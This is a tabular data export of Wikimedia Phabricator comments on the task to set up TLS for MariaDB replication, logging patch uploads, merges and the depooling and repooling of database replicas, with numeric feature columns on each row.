646466,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVQZ2EhPgCrwkbTdl_iQ} [2016-04-15T12:14:45Z] <volans> Re-arrange s3 replica topology: making codfw replicate from db1075 (this time for real) - T111654",,,1460722485,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,41,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,9.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,3.4444444444444446,0.8666666666666667,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-04-15T12:14:45Z] <volans> Re-arrange s3 replica topology: making codfw replicate from db1075 (this time for real) - T111654"
646419,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVQZi5baD0x0K5Df_TUf} [2016-04-15T10:50:59Z] <volans@tin> Synchronized wmf-config/db-eqiad.php: Depool new db1075,1077,1078 to upgrade TLS on s3 - T111654 (duration: 00m 41s)",,,1460717459,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,41,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,0.0,0.0,6.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.4901960784313726,0.8431372549019608,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-04-15T10:50:59Z] <volans@tin> Synchronized wmf-config/db-eqiad.php: Depool new db1075,1077,1078 to upgrade TLS on s3 - T111654 (duration: 00m 41s)"
646418,Set up TLS for MariaDB replication,"Change 283620 merged by jenkins-bot:
Depool new s3 slaves for TLS upgrade

[[https://gerrit.wikimedia.org/r/283620]]",,,1460717326,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,41,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.590909090909091,0.9090909090909091,"Change 283620 merged by jenkins-bot:
Depool new s3 slaves for TLS upgrade

[[GERRIT_URL]]"
646408,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVQZfx3gD0x0K5Df_TUS} [2016-04-15T10:37:21Z] <volans@tin> Synchronized wmf-config/db-eqiad.php: Repool db1042 after TLS upgrade on s4 - T111654 (duration: 00m 30s)",,,1460716705,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,41,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,6.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.36,0.84,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-04-15T10:37:21Z] <volans@tin> Synchronized wmf-config/db-eqiad.php: Repool db1042 after TLS upgrade on s4 - T111654 (duration: 00m 30s)"
646405,Set up TLS for MariaDB replication,"Change 283610 merged by jenkins-bot:
Repool db1042 after TLS upgrade

[[https://gerrit.wikimedia.org/r/283610]]",,,1460716492,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,41,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,3.8,0.9,"Change 283610 merged by jenkins-bot:
Repool db1042 after TLS upgrade

[[GERRIT_URL]]"
646379,Set up TLS for MariaDB replication,"Change 283620 had a related patch set uploaded (by Volans):
Depool new s3 slaves for TLS upgrade

[[https://gerrit.wikimedia.org/r/283620]]
",,,1460712472,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,41,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.6296296296296298,0.8888888888888888,"Change 283620 had a related patch set uploaded (by Volans):
Depool new s3 slaves for TLS upgrade

[[GERRIT_URL]]
"
646373,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVQZO66OD0x0K5Df_TSn} [2016-04-15T09:23:42Z] <volans> Re-arrange s3 replica topology: making codfw replicate from db1075 - T111654",,,1460712222,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,41,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,8.0,0.0,0.0,8.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,3.5384615384615383,0.8461538461538461,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-04-15T09:23:42Z] <volans> Re-arrange s3 replica topology: making codfw replicate from db1075 - T111654"
646355,Set up TLS for MariaDB replication,"Change 283610 had a related patch set uploaded (by Volans):
Repool db1042 after TLS upgrade

[[https://gerrit.wikimedia.org/r/283610]]
",,,1460709303,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,41,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,20.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.8,0.88,"Change 283610 had a related patch set uploaded (by Volans):
Repool db1042 after TLS upgrade

[[GERRIT_URL]]
"
646350,Set up TLS for MariaDB replication,"Change 283602 merged by Volans:
MariaDB: use Puppet cert for s4 cross-dc replica

[[https://gerrit.wikimedia.org/r/283602]]",,,1460708321,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,41,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.5416666666666665,0.875,"Change 283602 merged by Volans:
MariaDB: use Puppet cert for s4 cross-dc replica

[[GERRIT_URL]]"
646347,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVQY-CyEgCrwkbTdl_dZ} [2016-04-15T08:09:58Z] <volans@tin> Synchronized wmf-config/db-eqiad.php: Depool db1042 to upgrade TLS on s4 - T111654 (duration: 00m 36s)",,,1460707798,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,41,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,12.0,0.0,0.0,6.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.3,0.84,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-04-15T08:09:58Z] <volans@tin> Synchronized wmf-config/db-eqiad.php: Depool db1042 to upgrade TLS on s4 - T111654 (duration: 00m 36s)"
646345,Set up TLS for MariaDB replication,"Change 283601 merged by jenkins-bot:
Depool db1042 for TLS upgrade

[[https://gerrit.wikimedia.org/r/283601]]",,,1460707660,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,41,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,3.7,0.9,"Change 283601 merged by jenkins-bot:
Depool db1042 for TLS upgrade

[[GERRIT_URL]]"
646344,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVQY9ECdD0x0K5Df_TRW} [2016-04-15T08:05:41Z] <volans> starting TLS upgrade for shard s4 T111654",,,1460707541,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,41,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,6.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,3.34375,0.875,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-04-15T08:05:41Z] <volans> starting TLS upgrade for shard s4 T111654"
646334,Set up TLS for MariaDB replication,"Change 283602 had a related patch set uploaded (by Volans):
MariaDB: use Puppet cert for s4 cross-dc replica

[[https://gerrit.wikimedia.org/r/283602]]
",,,1460706610,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,41,True,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.5161290322580645,0.9032258064516129,"Change 283602 had a related patch set uploaded (by Volans):
MariaDB: use Puppet cert for s4 cross-dc replica

[[GERRIT_URL]]
"
646328,Set up TLS for MariaDB replication,"Change 283601 had a related patch set uploaded (by Volans):
Depool db1042 for TLS upgrade

[[https://gerrit.wikimedia.org/r/283601]]
",,,1460706432,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,41,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,20.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.72,0.88,"Change 283601 had a related patch set uploaded (by Volans):
Depool db1042 for TLS upgrade

[[GERRIT_URL]]
"
645181,Set up TLS for MariaDB replication,"Change 283209 merged by jenkins-bot:
Repool db1057 after TLS upgrade on s1

[[https://gerrit.wikimedia.org/r/283209]]",,,1460565065,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.6363636363636362,0.9090909090909091,"Change 283209 merged by jenkins-bot:
Repool db1057 after TLS upgrade on s1

[[GERRIT_URL]]"
645144,Set up TLS for MariaDB replication,"Change 283209 had a related patch set uploaded (by Volans):
Repool db1057 after TLS upgrade on s1

[[https://gerrit.wikimedia.org/r/283209]]
",,,1460562308,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,11.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.6666666666666665,0.8888888888888888,"Change 283209 had a related patch set uploaded (by Volans):
Repool db1057 after TLS upgrade on s1

[[GERRIT_URL]]
"
645117,Set up TLS for MariaDB replication,"Change 283192 merged by Volans:
MariaDB: use Puppet cert for s1 cross-dc replica

[[https://gerrit.wikimedia.org/r/283192]]",,,1460561296,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.5416666666666665,0.875,"Change 283192 merged by Volans:
MariaDB: use Puppet cert for s1 cross-dc replica

[[GERRIT_URL]]"
645088,Set up TLS for MariaDB replication,"Change 283193 merged by jenkins-bot:
Depool db1057 for TLS upgrade for s1

[[https://gerrit.wikimedia.org/r/283193]]",,,1460559129,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.590909090909091,0.8636363636363636,"Change 283193 merged by jenkins-bot:
Depool db1057 for TLS upgrade for s1

[[GERRIT_URL]]"
645078,Set up TLS for MariaDB replication,"Change 283193 had a related patch set uploaded (by Volans):
Depool db1057 for TLS upgrade for s1

[[https://gerrit.wikimedia.org/r/283193]]
",,,1460558567,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,11.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.6296296296296298,0.8518518518518519,"Change 283193 had a related patch set uploaded (by Volans):
Depool db1057 for TLS upgrade for s1

[[GERRIT_URL]]
"
645076,Set up TLS for MariaDB replication,"Change 283192 had a related patch set uploaded (by Volans):
MariaDB: use Puppet cert for s1 cross-dc replica

[[https://gerrit.wikimedia.org/r/283192]]
",,,1460558560,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.5161290322580645,0.9032258064516129,"Change 283192 had a related patch set uploaded (by Volans):
MariaDB: use Puppet cert for s1 cross-dc replica

[[GERRIT_URL]]
"
645023,Set up TLS for MariaDB replication,"Change 283178 merged by Volans:
MariaDB: Update submodule reference

[[https://gerrit.wikimedia.org/r/283178]]",,,1460555102,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,4.222222222222222,0.8333333333333334,"Change 283178 merged by Volans:
MariaDB: Update submodule reference

[[GERRIT_URL]]"
645020,Set up TLS for MariaDB replication,"Change 283178 had a related patch set uploaded (by Volans):
MariaDB: Update submodule reference

[[https://gerrit.wikimedia.org/r/283178]]
",,,1460554965,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,20.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.0,0.88,"Change 283178 had a related patch set uploaded (by Volans):
MariaDB: Update submodule reference

[[GERRIT_URL]]
"
645019,Set up TLS for MariaDB replication,"Change 283176 merged by Volans:
Remove require on resource not managed by Puppet

[[https://gerrit.wikimedia.org/r/283176]]",,,1460554815,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.0476190476190474,0.8571428571428571,"Change 283176 merged by Volans:
Remove require on resource not managed by Puppet

[[GERRIT_URL]]"
645017,Set up TLS for MariaDB replication,"Change 283176 had a related patch set uploaded (by Volans):
Remove require on resource not managed by Puppet

[[https://gerrit.wikimedia.org/r/283176]]
